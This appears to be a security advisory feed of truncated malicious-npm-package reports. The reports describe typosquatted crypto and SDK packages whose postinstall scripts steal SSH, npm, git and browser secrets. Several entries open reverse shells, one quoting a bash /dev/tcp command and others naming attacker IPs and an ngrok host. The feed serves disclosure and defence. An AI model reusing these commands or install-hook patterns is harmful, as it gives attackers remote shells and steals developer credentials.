Malicious code in @zzzgenesis00/near-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5e6b0c979c111a298e5a63a60690d41751672624107b847cf342c49b3b8843f The package's postinstall.js lifecycle script runs on npm install and collects installer-side secrets: it enumerates a hardcoded list of...

MAL-2026-12122 Malicious code in @zzzgenesis00/near-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5e6b0c979c111a298e5a63a60690d41751672624107b847cf342c49b3b8843f The package's postinstall.js lifecycle script runs on npm install and collects installer-side secrets: it enumerates a hardcoded list of...

MAL-2026-12124 Malicious code in @zzzgenesis00/tronweb3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e41cdeec3cc7e95a9365f12998ad095816f5e2076c4592af309634b9c95ccad0 This package impersonates the legitimate tronweb SDK author field spoofed as 'tronprotocol' and runs a malicious postinstall.js at npm install time...

MAL-2026-12119 Malicious code in @zzzgenesis00/bitcoinjs-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bcabff22bb09847474002e52ef9e8101a847fe662fcf18eec0617fd6e9829e20 This package is a typosquat of the bitcoinjs-wallet ecosystem. Its index.js is a thin passthrough while the malicious behavior is in postinstall.js,...

Malicious code in @zzzgenesis00/bitcoinjs-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bcabff22bb09847474002e52ef9e8101a847fe662fcf18eec0617fd6e9829e20 This package is a typosquat of the bitcoinjs-wallet ecosystem. Its index.js is a thin passthrough while the malicious behavior is in postinstall.js,...

MAL-2026-12121 Malicious code in @zzzgenesis00/hd-key-generator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d1bce1ae0778169c4e5fb37721dfcc052c984efc60a257166adb4d20e2d39e5 @zzzgenesis00/hd-key-generator ships a postinstall.js that runs automatically on npm install. It enumerates /.ssh, /.npmrc, /.gitconfig, browser...

Malicious code in python-bitcoinlib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cfb9c83260c4fb83a678636e1e1c028f2aff3e3c0a0ac13728cfa2056a13389f This npm package, published under the well-known PyPI name python-bitcoinlib, ships a postinstall.js lifecycle script that runs automatically on npm...

MAL-2026-12113 Malicious code in python-bitcoinlib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cfb9c83260c4fb83a678636e1e1c028f2aff3e3c0a0ac13728cfa2056a13389f This npm package, published under the well-known PyPI name python-bitcoinlib, ships a postinstall.js lifecycle script that runs automatically on npm...

MAL-2026-12110 Malicious code in ethereum-sign-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a6f2998ee6903e6a20b55e371b8b074fb130d3e4c6f6d489999fd61f7e536673 On npm install, the package's postinstall script node postinstall.js, declared in package.json scripts.postinstall reads installer-side secret files...

Malicious code in @zzzgenesis00/docker-api-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2417f0620e130c16865914c5f79fdff63bdda0daf3257955c8fd536ab894c1b1 postinstall.js runs automatically on npm install and enumerates installer-side secret stores including /.ssh, /.npmrc, /.gitconfig, Chrome and Firefo...

Malicious code in data-format-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 21db9b8662eac789b1523c3f2114daa6a5fd3a2a0c7bbfb58fafdf3b4809c7cd The package advertises itself as a data-formatting utility but ships a postinstall.js that auto-executes on npm install and runs shell commands to...

Malicious code in @zzzgenesis00/bip39-mnemonic (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f370f7bfdab3817c323daee33d8de48e5171c41dad3f1bff2f1335e04a65060 Package impersonates the bitcoinjs/bip39 project author field set to 'bitcoinjs-lib' and ships a postinstall.js that runs on npm install. The script...

MAL-2026-12030 Malicious code in @zzzgenesis00/bip39-mnemonic (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7f370f7bfdab3817c323daee33d8de48e5171c41dad3f1bff2f1335e04a65060 Package impersonates the bitcoinjs/bip39 project author field set to 'bitcoinjs-lib' and ships a postinstall.js that runs on npm install. The script...

MAL-2026-11998 Malicious code in simple-date-formatter-util-7 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e53aca949f6ef9820b220363a2b0c7df91e36f08ded73165dfe9140a004fd693 Package advertises itself as a date formatter utility but ships a malicious postinstall payload. package.json declares a postinstall lifecycle script...

Malicious code in @zzzgenesis00/web3-provider-engine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fae571005ccdcdc23e50fbee1eddc31d39355706b7945df3ccbb3096ecaf724b Package impersonates MetaMask's web3-provider-engine author field 'MetaMask', homepage pointing to github.com/MetaMask/web3-provider-engine while...

MAL-2026-11539 Malicious code in entropyeasybots (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82e7d0cd2ef4870fdc4484c815737ade78e04bdac4843df02f5cf876cfa3dbaa index.js decodes a base64-obfuscated IP 85.137.253.124 and connects a spawned /bin/sh subprocess's stdio to a TCP socket at 85.137.253.124:1111,...

MAL-2026-11547 Malicious code in simple-date-formatter-util-9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840 package.json declares a postinstall lifecycle hook that executes bash -i & /dev/tcp/124.221.154.135/4444 0&1 &, opening an interactive reverse shell...

MAL-2026-11541 Malicious code in nagixjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 213429bfb5c1c93becdd4c0236cd167a277114e88f47cff28799c20c6d1e72dd package.json declares postinstall: node test.js, which loads index.js and auto-runs on npm install. The code recursively scans the user's home...

MAL-2026-11537 Malicious code in discord-vibegrations-api-natives (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9cb64ecc29aa68ec4659bab280f4ffd2c3de889cc966c0974f85b0c488edc603 On npm install, the package's postinstall.js opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes the socket's bytes into the stdin of a spawned s...

Malicious code in nagix-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8c77b8796f45d4e9888fe751dac62ad9f85334f29a64d8b0b2f50377611d6fc package.json declares postinstall: node test.js, which auto-executes on npm install and performs three attacker-beneficial actions against the...